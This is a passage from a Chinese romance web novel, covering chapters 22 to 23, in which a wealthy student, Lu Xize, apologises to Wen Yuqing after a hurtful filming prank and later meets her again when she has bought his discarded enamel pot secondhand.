“这位同学,别顾着反驳我。”陆曦泽微笑,“我看在这顿饭的面子上,才跟你说的,你听着就行。你吧,人傻好骗,得找个傻点的才行。”
闻毓青不服气,“喂!你什么意思!”
说她好骗,毕竟有两次“前科”,她不能不认。
但说她傻,她心里不乐意了。
“错了错了,行了吧。”陆曦泽换个说法,“你得找个不那么精明的。宋齐远看着人不错的样子,实际上最虚伪了,你少跟他打交道。”
话都说到这份上,他以为闻毓青能有点觉悟。
谁承想,她重点落在,“你就这么讨厌他?”
陆曦泽翻了个白眼,“谈不上讨厌,没必要。”
“宋齐远可没和我说过你任何坏话。”闻毓青低声蛐蛐。
他对此满不在乎,“这说明什么?”
“嗯?”
“说明我无可指摘。”
闻毓青弯唇笑了笑,不知为何,这一刻还挺欣赏他身上这种,对自己毫不犹豫的、自大狂般的坚定。
她盯着餐盘上沾到的沙拉酱,耳边传来他鲜明跳跃的声音。
“还有啊!”
“什么?”
“像‘不值得’、‘受宠若惊’这种话,还是少说的好,他想追你,你干嘛把自己姿态放这么低?”这种话他听着不舒服,提起就不耐烦地皱眉,“贬低自己对你有什么好处?”
闻毓青愣了下,“我那是...礼貌。”
“是吗?”
他下意识地反问,轻飘飘的,其实没什么深意。
在闻毓青耳中,却像是质疑,无比轻松地,四两拨千斤地就推翻了,她建造的一堵自我保护的墙。
“不然呢?”她及时伸出手,支撑住那份稳固,淡淡道:“你想指教点什么?”
很微妙的语气变化,陆曦泽敏锐地挑了下眉。
忽地想到他奶奶隔壁邻居养的猫,被逗弄惹恼时,就会张牙舞爪地灵巧反扑。
他识趣,就此打住,省得“好为人师”惹别人嫌,毕竟要是谁说他不是,他也懒得听。
“我的道歉信呢?”他扯开话题。
摸出一颗薄荷糖,剥掉糖衣丢进嘴里,他摊开手掌朝闻毓青招了招。
闻毓青从包里取出规整的信封,递过去,当面再次道歉,“对不起啊,因为之前的各种误会。”
陆曦泽直接打开,见到纸上一行行工整清秀的字迹,笑了下。没随便敷衍,不是一两句不走心的话,也不是网上摘的道歉信模板,认真在信纸上写了一小段话。
他要诚意,让她赔礼请客让她写道歉信,她便悉数奉上。是个实在人啊,遇上了就想多逗逗。
他展开轻薄的一张信纸,递还给她。
闻毓青不明所以,但在看到对面那支朝她拍摄的手机时,腾地一下,并拢手掌挡在脸前,“你干嘛?!”
陆曦泽舌尖滚了下糖粒,含笑道:“录视频读道歉信啊,道歉程序不都这样。”
可很快,他嘴角恶作剧的笑意僵住了。
镜头倏地被一只手捂住,随后掰下,咔哒一声扣在桌面。
女生眸中薄薄愠色,被他的行为惹毛了,面色冷却下来,声音是冷静而生硬的。
“你是不是,有点过分了。”
陆曦泽在快冻结的氛围里,后知后觉——
没轻没重,玩脱了。
22. 022
是有点过分吧。
在W&L唱完最后一趴,陆曦泽从酒吧一路开车回家。
红灯拦截了夜间的稀疏车流,他单手搭在方向盘上,浓眉紧皱。
刚刚等待的罅隙,脑中莫名地,又想起闻毓青当时夹带恼怒、屈辱和隐忍的复杂眼神,他抓了把头发,内心烦躁无比,终于难得地开始自我反思——
和人家熟嘛,就得寸进尺地开玩笑。
挺糟糕的,一点也不好笑。
而且,闻毓青大概是当真了,觉得被羞辱了,丢下一句“买完单了你慢慢吃”,就铁青着一张脸离开。
陆曦泽当时也正懵着,眼睁睁地,目送她背影远去。
嘴里道歉的话愣是没挤出来。
他事后发消息道歉,并解释,他开了个糟糕而拙劣的玩笑,闻毓青不咸不淡地回了句好的,之后就没再有过回复。
到这里,事情貌似是解决了,但陆曦泽总觉得不得劲。
闻毓青的寡淡回复,并不是接受了他的道歉,更像是懒得和他计较。
可陆曦泽并不需要她这份“大度”,这会让他更对自己嗤之以鼻。为错误买单,处理结果倘若不够利落,不够圆满完美,就不够让他心里“过得去”。
一个礼拜过去,事情悬置至今。
过不去的事,像吞下一根并不锐利的细刺,一想起来,是喉间哽住般的微妙不适,心里不舒坦的滋味。
所幸的是,他其实并未刻意记挂,也不会无时无刻想起。
信号灯跳转成放行的绿色。
引擎轰鸣的声浪,为死寂的路面添上汹涌的心跳,苍茫夜幕下,白色的箭簇在道路飞驰、回旋、转弯。
凌晨一点半,车子驶入地下车库。
洗漱完,陆曦泽在酒架拿了瓶之前开过的红酒,给自己倒了一杯。
落地窗外的夜色晃荡在剔透的高脚杯中,尽数吞进胃里,醉意不浓,并不能让他顺利入眠,反而在床上辗转反侧。
今天陆振川来学校找他,通过辅导员的口,诈他出来见了一面。
一见是他,陆曦泽转身便走,任他怎么追也不停下。分明没走多快,男人就再也跟不上他的步伐,被远远地拋在身后。
远到他侧过头,余光只瞥见一道渺小而微躬的身影。
千金难买岁月回头,陆曦泽看见的,是不知从何时起、逐渐不再意气风发的身影。这一两年,陆振川似乎老得特别快。
再然后,目光触及的画面里,出现了另一道、靠近他的女人身影。
在凛冽寒风中,陆振川转过身,为年轻得过分的娇小女人扣紧外衣,温柔地抚着她的肩,轻拍哄慰,好生送回车内。
极其讽刺又恶心的一幕。
陆曦泽再次萌生的恻隐之心,在耳畔自己的那声冷嗤中,又一次次被击碎。
他咬紧牙关,暗暗告诫自己,不要心软,不值得。
耐不住越想越烦,他一把掀被下床,提着那瓶没多少的红酒,深夜去楼上游泳池消耗过盛的精力和思绪。
他没想到还有人也大半夜不睡觉。
游完几圈,靠在岸边的休闲躺椅上歇着。侧边伸缩托板上,手机振动了一下,响起消息提示音。陆曦泽有些意外,删掉那些狐朋狗友后,鲜少有这个点的骚扰消息。
他闭着眼,伸手捞起查看,是公寓经理发来的。
珺希·华盛公寓-傅经理:「陆先生,您白天有空吗?方便上门拜访吗?」
陆曦泽:「直接说吧」
似是未料到他这个点还醒着,对面有些惊讶。
珺希·华盛公寓-傅经理:「实在不好意思!打扰您休息了吗?」
陆曦泽:「还没睡,有什么事?」
珺希·华盛公寓-傅经理:「是这样的,我记得去年续租的时候您母亲赵女士帮你换了户型,不知道您对现在这套房子的入住体验如何?」
陆曦泽神色一动,愣了愣。
大概是刚才游掉了力气,身体此刻有些疲惫,他失神地靠在躺椅上,阖上双眼喘口气。
他半晌没回,对面揣测不出他什么意思,便继续发送消息。
珺希·华盛公寓-傅经理:「今年公寓有新的租房活动,年租直接免两个月租金,送一个车位,赵女士可能太忙,没看到公寓发的活动消息,所以我特地来和您说一声。」
珺希·华盛公寓-傅经理:「要是今年您还想更换房型的话,公寓还有其他的房型,都很不错,我可以带您去看看。」
陆曦泽点开看,不由无奈地笑了笑。
敢情这经理大半夜不睡觉,还在兢兢业业加班拼kpi。
陆曦泽:「去年合同的电子版有吗?发我一份」
珺希·华盛公寓-傅经理:「稍等,我马上去找给您」
一会儿的功夫,聊天框已经出现了一份扫描的pdf文件。
陆曦泽点开,拉到最后一页,他妈洋洋洒洒的签名落款在右下角,视线随着上滑的页面,定格在月租的数字,他挑了下眉。
陆曦泽:「不续了,你早点睡吧」
经理哪里能睡得着?简直要一晚上都睡不好了。
忙发了几条消息询问他,是不是对公寓的服务不满意,哪里做的不好的一定改进,还有其他推荐要不要看看呢......陆曦泽搪塞了一句,毕业了要换地方住,对方才遗憾作罢,和他客气地说了几句祝福。
临了退出会话窗口,陆曦泽一顿,轻叹,找经理要他们租房活动的宣传图。
陆曦泽:「我发朋友圈帮你问问,看有没有人要租」
客户的朋友就是客户,经理自然一万个愿意。
他忙不迭千恩万谢,随即爽利地发了几张图片过来。
手机屏幕按触音就此中止,夜的寂寥铺天盖地涌来,陆曦泽坐起来,神色淡漠地直望着水面,灯火通明的室内泳池,池水澄澈,微波轻荡。
看久了竟然被晃得有一丝头晕目眩的感受,反射的光晕也让人作呕。
水汽浓稠得似乎沉重了万倍,浸入头皮,拉扯着他的脑子。
他敛目,按着太阳穴舒缓。
良久过后,一只骨节分明的手径直探下,勾缠住地面红酒瓶的细颈,上下颠倒后,以持棒球棒的姿势抡起,瓶内的酒水翻涌倾洒,红色水花拍击玻璃的响动,浅浅回荡着。
酒瓶拿放在身前,木塞没压实,轻易拔出。
陆曦泽仰头,直接对瓶吹,喝掉瓶里剩下的那点儿的酒,唇角如同流溢出染血的一缕汁液,他屈指,关节蹭过,随意抹去。
室内暖气不充裕,有点冷,胃里也流淌着今夜透凉的、血液般的红酒。
还是得喝热过的才好。
长臂伸进浴袍袖口,腰间松散地系了个结,陆曦泽拿上手机,边擦头发边往电梯口走。
等电梯的时候,打开物业管家的微信。
陆曦泽:「小杜,后天下午帮我叫下保洁,要两个」
-
这段时间因为帮于海蕴挂二手的缘故,闻毓青开始混迹于各大闲置app,就这样不知不觉地掉进了淘二手货的坑里。
如今的想买清单里,已经陆陆续续添加了好多宝贝,ccd、云台、旧书、书架、小电器、等等,大多是功能性为主的东西。
以前咬牙忍住不买的微单,在二手市场价格大跳水到令人咋舌,她竟然有些心动了。不过她没冲动下单,怕踩坑,买到残次的。喋喋不休地向几个卖家询问了情况,她打算等过几天兼职的工资发了,买下她最想要、看起来最靠谱的那支相机。
昨天她替于海蕴卖出去了一个大牌的小手包,今天要去和买主现场交货。
即便打折卖,手包一万二的交易价仍旧昂贵,担心二手交易后续产生纠纷,闻毓青通常都只出同城,当面给买家交货验货。
于海蕴东西保管得齐全,包装、保卡、发票这些附件都在,买主看了,直接微信转账
钱一到账,闻毓青就转还给了于海蕴。
为了答谢她,于海蕴要请她吃晚饭。
闻毓青说不用客气,但于海蕴又说,她想吃的那家牛排店,原本是计划和男
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朋友过纪念日的时候去,但现在情况有变,她想吃只能找别人陪了。
话都到这份儿上了,闻毓青欣然应下。
牛排店正好在她和买家约定的交货地的附近商场,于是她在商场里瞎转悠,等于海蕴过来汇合。
牛排闻毓青没尝出什么咸淡,但那盘一百八只扣了一小碗的海鲜炒饭,粒粒分明、饱满,色泽诱人,吃得闻毓青眼冒星星,左右脑在“好贵好贵都不舍得吃&可是真的好好吃啊再来亿口”之间互搏。
味蕾很诚实,手也很诚实,抓着勺子一口接一口送嘴里。
吃到喜欢的食物,闻毓青眼睛亮晶晶的,整张脸都溢满了幸福,她胃口不小,大口吃饭,大口咀嚼,吃相并不粗鲁,但一看就吃得很香,让人食欲大增。
于海蕴难得吃掉完整的一块牛排。
盘子里一粒米也没剩,香味还在唇齿间流连,闻毓青还在回味,舌尖舔了舔抿起的嘴唇。
抬眼看见对面投来的眼神,她差点幸福到泪目,大道至简地给出最朴实无华的赞誉,“这是我吃过的最好吃的海鲜炒饭!”
于海蕴霍然一笑,“下次还来。”
出了店,闻毓青扯了下于海蕴的衣角,“这家店有点贵,我和你A吧。”
“不用,他们去年店庆搞活动,我有张半价优惠券。”
“那好吧,”闻毓青鼻尖轻嗅,转头瞥见一家可颂店的门面,眼睛一亮,“要不要吃可颂!”
商场飘着香甜浓郁的黄油味,于海蕴也有点想吃,“可以,买点回宿舍吃。”
烘焙柜里琳琅满目的螺纹可颂。有的裹了巧克力浆撒上细碎的彩针糖;有的放了一片金黄的起司铺了层开心果碎;葱香味的,则是夹了热狗,撒了葱花和烤得微焦的蒜瓣;还有的是放乳酪、牛奶棒、榛果碎、奶油和抹茶粉......十几种味道,闻毓青看得眼花缭乱,频频咽口水。
最后艰难地挑了两盒可颂买了单,里面每个都是口味不重样的。
搭扶梯到一楼,这次轮到于海蕴走不动道了。
因为靠近大门的有一家甜甜圈店。
两个拒绝不了甜品诱惑的女人,又低头趴在烘焙柜的玻璃前,常规环形的基础上,店里还做了花朵一样的甜甜圈,也有点做成夹心的,她们一排排扫描过去,贪心夹了好几只形状的甜甜圈到餐盘中。
“我来我来!”闻毓青抢先端走于海蕴的盘子,高高兴兴地结了账。
两个人拎着鼓囊的纸袋离去,收获颇丰。
回去路上,快到地铁站的时候,于海蕴突然道:“你等我一下。”
闻毓青还没反应过来,就看见她往马路对面去,在便利店买了两瓶热牛奶出来,走到一辆停在路灯下的环卫车边,将手里的一个袋子递给了环卫工阿姨。
刚递出去,她偏头看了眼,又拿回来,取出袋子里盒装可颂,分装了一部分到纸袋里,剩下的盒子里的,则送给了旁边另一个环卫阿姨。
闻毓青隔着马路远远站着,等到于海蕴回来,眨巴着眼睛看她。
“干嘛这样看我?”
“你好善良。”
于海蕴细眉微挑,不置可否地笑了笑。
“或许向你学习一下也不错。”
“嗯?什么意思?”
“没什么,快回去。”
-
房子里的东西打包得差不多,被搬家公司先拉回了奶奶家。
租期还有一个月,之后又得回家过年,陆曦泽只留了几套衣服和生活用品在公寓,以便度过为数不多的一周。
屋里差不多清空,厨房被保洁打扫得干干净净,纤尘不染。
他当然不可能自己开火做饭。
在屋里闷了几天,每日三餐全靠点外卖度日。
今天下午睡了一觉醒来,他拉开窗帘,光线瞬间涌进房间,难得想下楼走走。
铺着鹅卵石的绿化道,迎面走来一个,吭哧吭哧抱着大红色塑料袋的女孩,他盯了几眼,歪下头追寻那张快埋进袋口的脸。
“闻毓青,你怎么在这儿?”
23. 023
女生抬起脸,眸中闪过错愕。
陆曦泽扫了眼她抱着的东西,敞开的袋子内,是一口珐琅锅,锅盖边缘一小道微不可察的划痕,恰好映入眼帘。
他挑眉,“你哪儿捡垃圾去了?”
听见他的话,闻毓青蹙眉,瞪他一眼,“你在乱说什么啊?”
他指着那道划痕,笑了笑,“这我家的。喏,砍排骨的时候菜刀误伤它的那点伤痕,都还在呢。”
闻毓青一看,还真是。
“前段时间我让保洁拿到楼下丢掉,你在哪个犄角旮旯找到的?”
刚调侃完,陆曦泽脑中忽地有了个大致猜想。
而后听见闻毓青说:“我二手买的...”
闻毓青是在淘闲置宝贝时,捡漏买到的这口炖锅。
卖家图片拍得很潦草,背景杂乱,构图毫无章法,甚至锅只占图片的一小部分区域。
即便如此,也难掩这口彩绘珐琅炖锅的颜值。釉色光泽,颜色饱和度高,表面没有沙眼。彩绘的欧式复古花纹,繁复又美丽。
卖家白菜价大甩卖,底下有人问是不是假的。
闻毓青才知道,这好像还是个奢侈品厨具的牌子,她倒是不纠结真假,爽快地拿下了。这锅就算不当厨具使用,当件漂亮的艺术品做装饰的摆件也不错。
有点麻烦的是,东西要自取,但闻毓青不嫌这点小麻烦。
到了卖家提供的地址,闻毓青打通了卖家给的那个号码,出来会面的,是一个穿着保洁制服的五十多岁的阿姨。
阿姨说东西是托侄子在网上帮她挂出,她不懂怎么寄快递,才让她亲自过来一趟。闻毓青说没关系,跟着她去了物业办公区的工具间拿东西。
按陆曦泽的说话,应该是当时保洁阿姨不舍得扔,又用不上,于是挂到网上卖了。
虽然知道了阿姨捡别人不要的东西卖给自己,但闻毓青并不介意。这是惜物,况且价格朴实。现在看来,这的确实不是什么假的,反而是她捡到大漏了。
东西保存的很好很新,没有磨损,漂漂亮亮的,看着都赏心悦目,她不懂陆曦泽好端端的干嘛丢掉?
大概是大少爷有钱任性吧。
内心轻叹一口气,她抱着锅,“我先走了。”
“回学校吗?”
“不回。”
“那你去哪儿?”
闻毓青疑惑地看着他,眨了眨眼又移开,嘴里那句“你问这么多干嘛”就要脱口而出了。
似是读懂她方才迟疑的眼神,陆曦泽噗嗤笑了下,“我送你过去。”
“不用了,”闻毓青说:“我还要等人。”
今天原是要和一个出相机的卖家线下交易,但对方有事迟到了,闻毓青等了好久,实在坐不住,看了眼地图,到这儿来没有特别远,她便过来先拿锅。
手机在衣服里振动,她腾出手看消息,卖家说还要一个小时,让她再等等。
许是出于愧疚心理,对面发来一个取餐信息,说在附近的奶茶店给她点了杯喝的,让她在店里等。
“你等的人在这片儿?”陆曦泽问。
闻毓青摇头,“不是。”
有两三公里远,她现在要出发过去。
“吃饭了没?”
五点多,估计还没吃,还没等闻毓青开口,陆曦泽便下了定论。
瞅了眼女生怀里的锅,他很快地揪起塑料袋两边的提手,合拢到一块儿,提着袋子要进楼里。
“你干嘛?”
身前东西一空,闻毓青一愣,视线蓦地追上那道身影。
男生扬起手机,背对着她挥了挥,而后贴在门禁设备上,“先吃个饭,我等会儿送你去。”
“说了不用。”
“那不行,我得向你道歉,不能光是口头说说。”挑高的玻璃自动门缓缓打开,陆曦泽看向她,“走吧。”
闻毓青:“......”
这人做什么都胡搅蛮缠的,道歉也像个无赖,硬来。
“小事情,没必要,”她心平气和道:“何况你已经微信说过对不起了。”
陆曦泽单手抄兜,另一只手提着塑料袋,散漫伫立在玻璃门边,眼底是狡黠的笑意。
故意无理取闹,“你也没说‘没关系’啊。”
“没关系。”
几乎在他说完的第一时间,闻毓青立刻回他。
快刀斩乱麻,利落,果决。
跟机器人说话似的,一点感情都没有,陆曦泽很不满意。
“这么敷衍?不是真心接受吧。”
“陆曦泽!”闻毓青没空陪他闹了,轻细的嗓音很难凶起来,带情绪的时候,只是咬字发音重了些,“每次都这样,你烦不烦人!”
陆曦泽见状,哈哈大笑。
不再是对话框里冷冰冰的文字,面对面的沟通,表情、语气,都是能感受到情绪起伏的指征。女生微恼,但没有生气。觉知到这点,陆曦泽放下心来。
他回头走到她旁边,抽出手,隔着她大衣的帽子,在背后轻轻拍了两下就离开,力度带着点哄劝安抚的意味。
“走吧,朋友。我要搬点东西下楼,来都来了,给我搭把手?”
闻毓青半推半着就进了楼里。
在平稳攀升的电梯内,光滑的镜面里,倒映两道并列的身影,望着比她高出一个头多的男生,闻毓青蹙眉,这才有空回过神来后悔——
干嘛要答应给他干苦力活?这么人高马大的一个人,就不能自食其力么?
她吁气,算了,像他说的,来都来了。
陆曦泽一个人住一百五十平的房子,进门踩在温润木色的地板上,闻毓青一眼望见客厅的那扇落地窗,钢筋水泥铸成的城市骨架林立在窗外,尽收眼底。
他拉开内嵌冰箱的柜门,拿了两瓶喝的出来。
浅蓝色的玻璃瓶,瓶标上是花体英文的品牌名,闻毓青以为是国外的啤酒,摇头道:“我不喝,谢谢。”
“这气泡水。”陆曦泽递给她。
手刚一碰到瓶身,闻毓青一个激灵,“你冬天还喝这么冰的啊?”
他拧开瓶盖,满不在意,“对啊。”
冰的对胃不好,闻毓青说不喝。
陆曦泽喝了几口气泡水解渴,而后去岛台倒了半瓶矿泉水进壶里烧。没多久水就烧开,他洗了个玻璃杯,用剩下的半瓶矿泉水,兑了杯温水给端坐在沙发上的女生。
“谢谢。”闻毓青接过,抿了一口。
陆曦泽不吃零食,冰箱现在只剩喝的,以前路科邓灿霖他们来玩,都很随意,他也懒得在意什么招待不周的事。他们要是嘴馋,都自己带点吃来的或者点外卖。
这会儿倒是捉襟见肘,只能招待她一杯水了。
他挠挠头,“你在这坐会儿,我收拾下东西,很快。”
“我可以到处看看吗?”
在他即将转身时,闻毓青这样问。
他脚步一顿,随手给她指了指,“客厅就这儿,厨房卫生间那边,往里一间客房,一间主卧。你随便看,我收拾去了。”
也没打算领着她参观什么的,讲完就大咧咧地进了卧室,留闻毓青自己看着办。
矜持地在原地站了几秒,闻毓青也不管那么多了。
真就自己随意参观起来,想看哪里就去哪里,从宽敞的中岛台路过,进到厨具设备齐全的厨房,旁边的卫生间里,有很大的浴缸,客厅灯具华美璀璨,客卧
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的床品看着松软又舒服。
珺希的酒店式公寓,装潢自然是没得说,描述起来无非是与奢华相关的词藻。
木砖华灯地毯,门窗桌柜沙发,隔断窗帘挂画……每一处家具和摆件的颜色、风格和布局,经由设计师精心设计规划,以极其协调克制的分寸感,营造宜居的舒适度。
客卧也有阳台,视野很好,江滩外景。市中心的黄金地段,这套房子虽然内敛不浮夸,可分明连坐标都昭显着昂贵。
一个人住在这里,真是自由又幸福。
闻毓青安静地看着,看到最后,心里也静默如海。
望洋兴叹,连羡慕也徒劳。
闻毓青二十多年来生活的地方,从村里的低矮平房,到妈妈盖的简陋铁皮房,再到宁州县的某幢转角居民楼里的一户小小的三室一厅,再到学校宿舍拥挤的四人间。
这些容纳她躯体的场所,以及它们所承载的过往,当然有值得留念的桥段。
但真真细想起来,在乡下是艰苦,在宁州是寄人篱下,在宿舍是没有私人空间,没有一处带给过她太多舒适自由的感受。
所以,她一直希冀着一个属于自己的家。
当然不需要像这里这么好,她已经过了异想天开许愿的无知年纪了。
自由安定,已经很好很好了。
转悠到最后一间开着门的主卧,她站在门口,陆曦泽正在把床上堆的冬季衣物塞进一个老花行李包里,最后一件毛衣扔进去后,他单膝跪压在快撑爆的皮包上,趁着收纳空间被挤压出盈余,他赶紧拽着拉链,一气呵成的关上了包。
抬眼时,看见杵在门口的闻毓青。
估计是因为他在里面,不好意思进来,陆曦泽提着行李包往外走,把空间让给她,“我把东西先拿下车库去,你随意。”
闻毓青疑惑,“不是让我帮忙搬东西吗?”
他一笑,“你还真信?”
“......”
“朋友,这么好骗会吃亏的。”
他一走,闻毓青就进主卧参观,里面是套房,卧室,衣帽间,洗漱间和小客厅一应俱全,衣柜里全清空了,她愣了下,后知后觉反应过来,陆曦泽要搬家?
难怪外面规整得像样板房,亏她刚才还为此小小惊讶了一下,赞他家打理得干净整齐,而不是像狗窝一样。
门铃响起,闻毓青以为是陆曦泽没带房卡或者手机,于是忙去开门。
公寓餐厅的服务员推着餐车在门口,“您好,您叫的送餐服务。”
她思索了几秒,应该是陆曦泽点的,于是让服务员进来。对方把餐食摆放在岛台上,满满当当的,然后微笑着说再见,推着餐车离开。
闻毓青没想吃这顿饭,打算直接去奶茶店等人。
去沙发边要拿她买的那口珐琅锅时,地上空荡荡,东西不翼而飞了。
她以为自己大脑错乱,记错位置了,在客厅又找了一圈。最后,整套房子都找了一遍,仍旧半点踪迹都不见。
就在在她晕头转向、快把这事当离奇事件归论时,陆曦泽回来了。
她看向他,眼底满是不可思议,“好奇怪,我的锅不见了,哪儿都找不到。”
陆曦泽看她茫然的呆样,忍不住笑。
“我给你拿下去了。”
闻毓青费解,拿下去干嘛?
在等他解释时,陆曦泽却拉开高脚椅,坐到岛台边,自顾自地盛了两碗米饭。
点外卖太久,去外面饭店太远,公寓餐厅的饭菜虽然早就吃腻了,却是当下最近最快的选择。
他转过头,看向一动不动地站着的闻毓青,手里还抓着个饭勺。
“我也要走,等会儿顺便送你。”